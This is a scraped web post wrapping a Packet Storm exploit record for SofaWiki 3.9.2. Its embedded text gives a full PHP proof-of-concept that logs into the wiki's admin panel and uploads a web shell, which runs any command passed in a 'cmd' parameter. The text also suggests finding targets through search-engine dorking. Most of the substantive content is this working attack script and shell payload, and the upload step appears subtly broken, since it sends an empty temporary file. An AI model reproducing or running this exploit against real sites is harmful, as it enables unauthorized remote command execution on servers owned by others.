{“lastseen”:”2026-02-19T16:28:41″,”description”:”This is a proof of concept remote shell upload exploit for SofaWiki version 3.9.2 that leverages an issue originally discovered in 2024…”,”published”:”2026-02-19T00:00:00″,”modified”:”2026-02-19T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 SofaWiki 3.9.2 Shell Upload”,”source”:””,”references”:””,”id”:”PACKETSTORM:215891″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”=============================================================================================================================================\\n | # Title : SofaWiki 3.9.2 shell upload Vulnerability |\\n | # Author : indoushka |\\n | # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 136.0.0 (64 bits) |\\n | # Vendor : https:\/\/www.sofawiki.com\/site\/files\/snapshot.zip |\\n =============================================================================================================================================\\n \\n POC :\\n \\n [+] Dorking \u0130n Google Or Other Search Enggine.\\n \\n [+] Code Description: The script performs an attack on a website’s control panel by exploiting CSRF vulnerabilities and uploading a shell via the website’s administrative interface.\\n \\n (Related : https:\/\/packetstorm.news\/files\/id\/178203\/ Related CVE numbers: ) .\\n \\t\\n [+] save code as poc.php.\\n \\n [+] Usage: script.php \\u003cbase_url\\u003e \\u003cusername\\u003e \\u003cpassword\\u003e\\n \\n [+] PayLoad :\\n \\n \\u003c?php\\n if ($argc \\u003c 4) {\\n echo \\”Usage: php exploit.php \\u003cbase_url\\u003e \\u003cusername\\u003e \\u003cpassword\\u003e\\\\n\\”;\\n exit(1);\\n }\\n \\n $base_url = $argv[1];\\n $username = $argv[2];\\n $password = $argv[3];\\n \\n $filename = rand(10000, 99999) . \\”.phtml\\”;\\n \\n $ch = curl_init();\\n \\n $login_url = $base_url . \\”\/index.php\\”;\\n $login_data = [\\n \\”submitlogin\\” =\\u003e \\”Login\\”,\\n \\”username\\” =\\u003e $username,\\n \\”pass\\” =\\u003e $password,\\n \\”name\\” =\\u003e \\”SofaWiki\\”,\\n \\”action\\” =\\u003e \\”login\\”\\n ];\\n \\n echo \\”Exploiting…\\\\n\\”;\\n sleep(1);\\n \\n curl_setopt($ch, CURLOPT_URL, $login_url);\\n curl_setopt($ch, CURLOPT_POST, true);\\n curl_setopt($ch, CURLOPT_POSTFIELDS, $login_data);\\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\\n $response = curl_exec($ch);\\n \\n if (strpos($response, \\”Logout\\”) === false) {\\n echo \\”Login failed: \\” . $response . \\”\\\\n\\”;\\n exit();\\n }\\n \\n echo \\”Login Successful\\\\n\\”;\\n sleep(1);\\n \\n $php_shell_code = \\u003c\\u003c\\u003cEOT\\n \\u003chtml\\u003e\\n \\u003cbody\\u003e\\n \\u003cform method=\\”GET\\” name=\\”\\u003c?php echo basename(\\\\$_SERVER[‘PHP_SELF’]); ?\\u003e\\”\\u003e\\n \\u003cinput type=\\”TEXT\\” name=\\”cmd\\” autofocus id=\\”cmd\\” size=\\”80\\”\\u003e\\n \\u003cinput type=\\”SUBMIT\\” value=\\”Execute\\”\\u003e\\n \\u003c\/form\\u003e\\n \\u003cpre\\u003e\\n \\u003c?php\\n if(isset(\\\\$_GET[‘cmd’]))\\n {\\n system(\\\\$_GET[‘cmd’]);\\n }\\n ?\\u003e\\n \\u003c\/pre\\u003e\\n \\u003c\/body\\u003e\\n \\u003c\/html\\u003e\\n EOT;\\n \\n echo \\”Shell uploading…\\\\n\\”;\\n sleep(1);\\n \\n $upload_url = $base_url . \\”\/index.php\\”;\\n $files = [\\n \\”uploadedfile\\” =\\u003e new CURLFile(tempnam(sys_get_temp_dir(), ‘php’), \\”text\/php\\”, $filename),\\n \\”action\\” =\\u003e \\”uploadfile\\”,\\n \\”MAX_FILE_SIZE\\” =\\u003e \\”8000000\\”,\\n \\”filename\\” =\\u003e $filename,\\n \\”content\\” =\\u003e \\”content\\”\\n ];\\n \\n curl_setopt($ch, CURLOPT_URL, $upload_url);\\n curl_setopt($ch, CURLOPT_POSTFIELDS, $files);\\n $response = curl_exec($ch);\\n \\n if ($response) {\\n echo \\”Your shell is ready: {$base_url}\/site\/files\/{$filename}\\\\n\\”;\\n } else {\\n echo \\”Upload failed: \\” . $response . \\”\\\\n\\”;\\n }\\n \\n curl_close($ch);\\n ?\\u003e\\n \\n \\n \\n \\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/215891″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/215891\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-19T16:28:41″,”description”:”This is a proof of concept remote shell upload exploit for SofaWiki version 3.9.2 that leverages an issue originally discovered in 2024…”,”published”:”2026-02-19T00:00:00″,”modified”:”2026-02-19T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 SofaWiki 3.9.2 Shell…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-41635","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n